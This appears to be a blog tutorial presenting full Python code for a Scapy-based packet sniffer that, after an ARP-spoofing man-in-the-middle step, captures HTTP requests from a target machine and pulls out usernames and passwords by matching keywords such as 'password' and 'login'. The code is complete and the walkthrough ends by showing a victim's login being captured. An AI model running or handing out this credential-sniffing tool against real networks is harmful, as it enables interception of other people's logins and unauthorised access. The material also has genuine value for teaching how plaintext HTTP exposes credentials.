Creating an Advanced Network Packet Sniffer in Python: A Step-by-Step Guide

Rahul Kumar
System Weakness
Published in
9 min readApr 6, 2023

--

Welcome to our guide on creating an advanced network packet sniffer in Python. Network packet sniffing is a technique used to monitor and analyze network traffic. In this tutorial, we will be using the Scapy library in Python to capture and analyze network packets. We will cover the basics of how to use Scapy to capture packets, extract useful information from them and display it in a readable format. We will also be discussing some best practices for optimizing the performance of your packet sniffer and troubleshooting common issues. By the end of this tutorial, you will have a solid understanding of how to create your own packet sniffer and be able to analyze network traffic like a pro!

Note: to sniff packets on a network you need to be a MITM(Man In the Middle) i.e. you can do that by running an Arp Spoofer

Import:

import time
from colorama import Fore
from colorama import Style
import scapy.all
from scapy.layers import http
import psutil
from prettytable import PrettyTable
import subprocess
import re

Global variables:

choice = "Y"

get_current_mac:

def get_current_mac(interface):
try:
output = subprocess.check_output(["ifconfig",interface])
return re.search("\w\w:\w\w:\w\w:\w\w:\w\w:\w\w",str(output)).group(0)
except:
pass

This code defines a function get_current_mac(interface) that takes an input of an interface (e.g. “eth0”, “wlan0”).

Inside the function, it first uses the subprocess library to run the command ifconfig [interface] in the command line and store the output in the variable output.

Then it uses the re (regular expression) library to search for a string that matches the pattern of a MAC address, which is in the format of xx:xx:xx:xx:xx:xx where x is a hexadecimal digit. And the function return the matched string.

The function is using a try-except block, in case of any error in subprocess.check_output([“ifconfig”,interface]) line it will pass the exception and return nothing.

get_current_ip:

def get_current_ip(interface):
output = subprocess.check_output(["ifconfig",interface])
pattern = re.compile(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})')
output1 = output.decode()
ip = pattern.search(output1)[0]
return ip

This code defines a function get_current_ip(interface) that takes an input of an interface (e.g. “eth0”, “wlan0”).

Inside the function, it first uses the subprocess library to run the command ifconfig [interface] in the command line and store the output in the variable “output”.

Then it uses the re (regular expression) library to search for a string that matches the pattern of an IP address, which is in the format of xxx.xxx.xxx.xxx where x is a decimal digit. It first define the pattern using re.compile(r’(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})’). It will search for a string of the format xxx.xxx.xxx.xxx where x is a decimal digit.

Then it decode the output1 from bytes to string so that it can be searched by the regular expression.

After that, it uses the search() function of the pattern object to search for the first occurrence of a string that matches the IP address pattern in the output1 string. It assigns the matched string to the ip variable and return it.

ip_table:

def ip_table():
#get all the interface deatils in with psutil in a variable
addrs = psutil.net_if_addrs()
t = PrettyTable([f'{Fore.GREEN}Interface','Mac Address',f'IP Address{Style.RESET_ALL}'])
for k, v in addrs.items():
mac = get_current_mac(k)
ip = get_current_ip(k)
if ip and mac:
t.add_row([k,mac,ip])
elif mac:
t.add_row([k,mac,f"{Fore.YELLOW}No IP assigned{Style.RESET_ALL}"])
elif ip:
t.add_row([k,f"{Fore.YELLOW}No MAC assigned{Style.RESET_ALL}",ip])
print(t)

This code defines a function ip_table() that is used to print a table of network interfaces and their corresponding MAC addresses and IP addresses.

It first uses the psutil library to get all the interface details and store them in the addrs variable.

Then it creates a table using the PrettyTable library and sets the table headers to Interface, Mac Address, and IP Address. The table headers are also formatted to have green color using the Fore class from colorama library.

It then iterates over the interfaces in the addrs variable, where k is the key (i.e. the interface name) and v is the value (i.e. a list of interface details).

For each interface, it calls the get_current_mac(k) and get_current_ip(k) functions to get the current MAC address and IP address of the interface.

It then checks if the ip and mac variables are not empty, it adds a row to the table with the interface name, MAC address, and IP address. If only mac is not empty, it adds a row to the table with the interface name, MAC address and message No IP assigned with yellow color. If only ip is not empty, it adds a row to the table with the interface name, message No MAC assigned with yellow color and IP address.

Finally, it prints the table using the print(t) statement.

sniff:

def sniff(interface):
#scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet,filter="port 80")
scapy.all.sniff(iface=interface, store=False, prn=process_sniffed_packet)

This code is using the Scapy library to sniff packets on a specified network interface. The function takes one parameter, “interface”, which is the network interface on which to sniff packets.

The function uses the Scapy’s sniff() method to capture packets on the specified interface, with the store parameter set to False, which means that the packets will not be stored in memory.

Instead, the packets are passed to the function process_sniffed_packet, which is specified in the prn parameter, every time a packet is captured.

The filter parameter is commented out, it could be used to filter the packets that we want to sniff on specific protocol or ports.

process_sniffed_packet:

def process_sniffed_packet(packet):
#funtion to monitor the packets
#we check that the packet hac the layer httprequest
if packet.haslayer(http.HTTPRequest):
#if the packet has the http request then we check that it contain the RAW fied of the packet
print("[+] HTTP REQUEST >>>>>")
url_extractor(packet)
test = get_login_info(packet)
#if get_login_info found some then print those
if test:
print(f"{Fore.GREEN}[+] Username OR password is Send >>>> ", test ,f"{Style.RESET_ALL}")
#To Print the raw Packet
if (choice=="Y" or choice == "y"):
raw_http_request(packet)

This code defines a function “process_sniffed_packet(packet)” that takes an input of a “packet” captured by the Scapy library’s “sniff()” function.

The function first checks if the packet has a layer of HTTPRequestusing the haslayer() function of the packet and the http.HTTPRequest class from the scapy.layers import.

If the packet has the HTTPRequest layer, it prints a message [+] HTTP REQUEST >>>>> and then calls two other functions: url_extractor(packet) and get_login_info(packet). The url_extractor(packet) function extracts the URL from the packet in a human-readable format. The get_login_info(packet) function is used to extract login information from the packet

After that, if the get_login_info(packet) function returns any value, it prints a message [+] Username OR password is Send >>>> and the returned value, which is presumably the extracted login information.

Then it checks the global variable choice to see if it is Y or y, if yes it calls the function raw_http_request(packet) which prints the raw HTTP request of the packet.

get_login_info:

def get_login_info(packet):
if packet.haslayer(scapy.all.Raw):
#if it contain the raw fild then print that field post request
load = packet[scapy.all.Raw].load
load_decode = load.decode()
keywords = ["username","user","email","pass","login","password","UserName","Password"]
for i in keywords:
if i in load_decode:
return load_decode

This code defines a function get_login_info(packet) that takes an input of a packet captured by the Scapy library’s sniff() function.

The function first checks if the packet has a layer of Raw using the haslayer() function of the packet and the scapy.all.Raw import from the Scapy library.

If the packet has the Raw layer, it extracts the load field from the packet using packet[scapy.all.Raw].load. It then decode the load field to string, so that it can be searched for keywords.

Then it creates a list of keywords, which includes words like “username”, “user”, “email”, “pass”, “login”, “password”, “UserName”, “Password” that are commonly used in login forms.

It then iterates over the keywords, checking if any of them are present in the load_decode variable. If any of the keywords are present in the load_decode variable, it returns the load_decode variable.

url_extractor:

def url_extractor(packet):
#get the http layer of the packet
#packet.show() or packet.summary()
http_layer= packet.getlayer('HTTPRequest').fields
#get the ip layer of the packet
ip_layer = packet.getlayer('IP').fields
#Print them in a readable form
print(ip_layer["src"] , "just requested \n" ,http_layer["Method"].decode()," ",http_layer["Host"].decode(), " " ,http_layer["Path"].decode() )
return

This code defines a function url_extractor(packet) that takes an input of a packet captured by the Scapy library’s sniff() function.

The function first uses the getlayer() function of the packet to extract the HTTPRequest layer, and assign the fields of this layer to the variable http_layer. It then uses the getlayer() function again to extract the IP layer, and assign the fields of this layer to the variable ip_layer.

Then it prints the source IP address from the ip_layer variable, a message just requested and the method, host and path from the http_layer variable. It uses the .decode() method to convert the bytestring to string.

raw_http_request:

def raw_http_request(packet):
httplayer = packet[http.HTTPRequest].fields
print("-----------------***Raw HTTP Packet***-------------------")
print("{:<8} {:<15}".format('Key','Label'))
try:
for k, v in httplayer.items():
try:
label = v.decode()
except:
pass
print("{:<40} {:<15}".format(k,label))
except KeyboardInterrupt:
print("\n[+] Quitting Program...")
print("---------------------------------------------------------")
# TO PRINT A SOLE RAW PACKET UNCOMMENT THE BELOW LINE
# print(httplayer)

This code defines a function raw_http_request(packet) that takes an input of a packet captured by the Scapy library’s sniff() function.

The function first uses the square bracket notation to extract the HTTPRequest layer of the packet and assigns the fields of this layer to the variable httplayer.

Then it prints a message — — — — — — — — -Raw HTTP Packet — — — — — — — — — - and creates a table with two columns Key and Label using the {:<8} {:<15} format.

It then uses a try-except block to iterate over the key-value pairs of the httplayer variable. For each key-value pair, it attempts to decode the value and assigns it to the variable label. Then it prints the key and label in the table.

It also has the option to print the whole raw packet but it is commented in the code.

main_sniff:

def main_sniff():
print(f"{Fore.BLUE}Welcome To Packet Sniffer{Style.RESET_ALL}")
print(f"{Fore.YELLOW}[***] Please Start Arp Spoofer Before Using this Module [***] {Style.RESET_ALL}")
try:
global choice
choice = input("[*] Do you want to to print the raw Packet : Y?N : ")
ip_table()
interface = input("[*] Please enter the interface name : ")
print("[*] Sniffing Packets...")
sniff(interface)
print(f"{Fore.YELLOW}\n[*] Redirecting to Main Menu...{Style.RESET_ALL}")
time.sleep(3)
except KeyboardInterrupt:
print(f"{Fore.RED}\n[!] Redirecting to Main Menu...{Style.RESET_ALL}")
time.sleep(3)

This code defines a function main_sniff() which is the main function of the program.

The function first prints a message Welcome To Packet Sniffer in blue color and a warning message Please Start Arp Spoofer Before Using this Module in yellow color.

It then uses a try-except block to handle the KeyboardInterrupt exception. Inside the try block, it declares the global variable choice and assigns the value entered by the user when prompted Do you want to to print the raw Packet : Y?N : . It then calls the function ip_table() which prints the details of the network interfaces on the computer.

It then prompts the user to enter the interface name and assigns it to the variable interface. It then prints a message Sniffing Packets… and calls the function sniff(interface) which captures the packets on the entered interface.

Finally, it prints a message Exiting… and waits for 3 seconds before exiting the function.

If the user presses Ctrl+C (KeyboardInterrupt), the try block is interrupted and the except block is executed, where it prints a message Exiting… and waits for 3 seconds before exiting the function.

Target windows machine
Running Arp Spoofer For MITM
Target Try to log in on a website
Our Packet sniffer captures the packet

We hope that this tutorial has provided you with a solid understanding of how to create your own packet sniffer using Python and Scapy. With this knowledge, you will be able to analyze network traffic and extract useful information to help you troubleshoot network issues, detect security breaches and gain a deeper understanding of network activity. Remember to always keep in mind best practices for performance

--

--